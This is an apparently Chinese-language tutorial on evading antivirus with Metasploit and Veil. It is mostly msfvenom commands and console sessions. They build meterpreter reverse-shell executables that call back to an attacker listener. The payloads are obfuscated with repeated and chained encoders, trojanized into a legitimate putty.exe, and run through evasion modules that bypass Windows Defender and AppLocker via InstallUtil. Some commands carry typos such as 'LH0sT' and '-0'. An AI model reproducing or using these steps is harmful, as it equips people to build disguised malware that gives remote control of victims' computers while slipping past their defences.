msf免杀
msf自编码处理
使用msfvenom --list eencoders可查看所有编码
评级最高的两个encoder为 cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这设置15次,并使用了-b参数去掉payload中的空字符。
msfvenom-p windows/meterpreter/reverse_tcp LHosT=10.211.55.2 LPoRT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -fexe -0 payload2.exe
由于shikata_ga_nai编码技术是多态的,也就是说每次成的payload件都不一样,有时成的件会被查杀,有时却不会。当然这个也和编码次数有定关系,编码次数好像超过70次就经常成出错,但是编码次数多并不代表免杀能强。
msf自捆绑免杀
在成payload时可以使用捆绑功能,使用msfvenom的-x参数可以指定一个自定义的可执行件作为模板,并将payload嵌入其中,-x后面跟对应文件路径就可以。
我这里使用一个正规的putty.exe作为被捆绑测试软件。生成payload命令如下
msfvenom -p windows/meterpreter/reverse_tcp LH0sT=10.211.55.2 LP0RT=3333 -X putty.exe -f exe -0 payload3.exe
生成的两个文件对比,大小完全一样。
msf自捆绑+编码
将上面的编码和捆绑两种法结合下进尝试
msfvenom -p windows/meterpreter/reverse_tcp LH0sT=10.211.55.2 LP0RT=3333 -e x86/shikata_ga_nai -X putty.exe -i 15-f exe -0 payload4.exe
msfvenom多重编码
msfvenom的encoder编码器可以对payload进定程度免杀,同时还可以使msfvenom多重编码功能,通过管道,让msfvenom不同编码器反复编码进行混淆。
如下命令,使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以putty.exe为模板的可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw |msfvenom -e x86/alpha_upper -i 10 -f raw msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -0 payload5.exe
还有这种更多重编码姿势
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe
Evasion模块exe
使用use windows/windows_defender_exe进行生成payload
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3
msf5 evasion(windows/windows_defender_exe) > set LPORT 3333
msf5 evasion(windows/windows_defender_exe) > run
生成hta
用另外—个evasion模块windows/windows_defender_js_hta生成一下,360同样被杀
生成install_util
evasion还提供了其他几个模块,比如windows/applocker_evasion_install_util 创建payload
msf5 > use windows/applocker_evasion_install_util
msf5 evasion(windows/applocker_evasion_install_util) > set payloadwindows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 evasion(windows/applocker_evasion_install_util) > set lhost
10.211.55.2
thost => 10.211.55.2
msf5 evasion(windows/applocker_evasion_install_util) > set lport 3333
lport => 3333
msf5 evasion(windows/applocker_evasion_install_util) > run
[+] install_util.txt stored at
/Users/xysoul/.msf4/local/install_util.txt
[*] Copy install_util.txt to the target
[*] Compile using:C:\Windows\Microsoft.Net\Framework\[.NETVersionl\csc.exe /out:install_util.exe install_util.txt
[*] Execute using:C:\Windows\Microsoft.Net\Framework\[.NETVersionl\InstallUtil.exe /logfile= /LogToConsole=false /Uinstall_util.exe
根据说明,需要使用csc.exe进行编译一下,然后用Instaltutil.exe加载文件,
csc.exe是微软.NETFrameWork 中的C#语言编译器,本机安装了.net后就可以找到该文件。我这里用vs2017里的csc.exe进行编译,生成install_util.exe。
直接执行install_util.exe是没有任何反应的,需要使用Instaltutil.exe/logfile= /LogToConsole=false /U install_util.exe来加载。
veil免杀
Evasion和Ordnance
Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
我们⼀般选择Evasion
Veil>: use 1 # 选择Evasion 功能
Veil/Evasion>: list # 查看payload 列表
使用list可以看到到41种stager
推荐使用以go和ruby语言encode的编码方式。像python这类的与用户有较的交互就容易被查杀。
veil原理可以参考这篇文章:https://xz.aliyun.com/t/4191
使用veil直接生成exe
veil可以直接生成支持msf的payload,我们先试一下看看效果。 我们使用go语言生成msf的payload
Veil/Evasion>:use 16
设置好msf的监听主机和端口就可以
因为之前已经做过映射,所以在宿主机的/tmp/veil-output/compiled/目录可直接看到生成的exe文件。 在msf中监听
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lport 3334
msf5 exploit(multi/handler) > set lport 10.211.55.2
msf5 exploit(multi/handler) > exploit
在测试主机执行go_msf.exe,发现msf中可上线
使用veil+mingw-w64
先用veil生成shellcode
# veil
use 1 #选择使用 Veil-Evasion模块
Veil-Evasion Menu
41 payloads loaded
Available Commands:
back Go to main Veil menu
checkvt Check virustotal against generated hashes
clean Remove generated artifacts
exit Exit Veil
info Information on a specific payload
list List available payloads
use Use a specific payload
Veil-Evasion command: use 7 #选择payload
c/meterpreter/rev_tcp-py
[cs/meterpreter/rev_tcp>>] set LH0sT 10.211.55.2
[cs/meterpreter/rev_tcp>>] set LP0RT 3333
[cs/meterpreter/rev_tcp>>] generate
先生成一个可以被msf 利用的c_msf.c然后用mingW-w64 来编译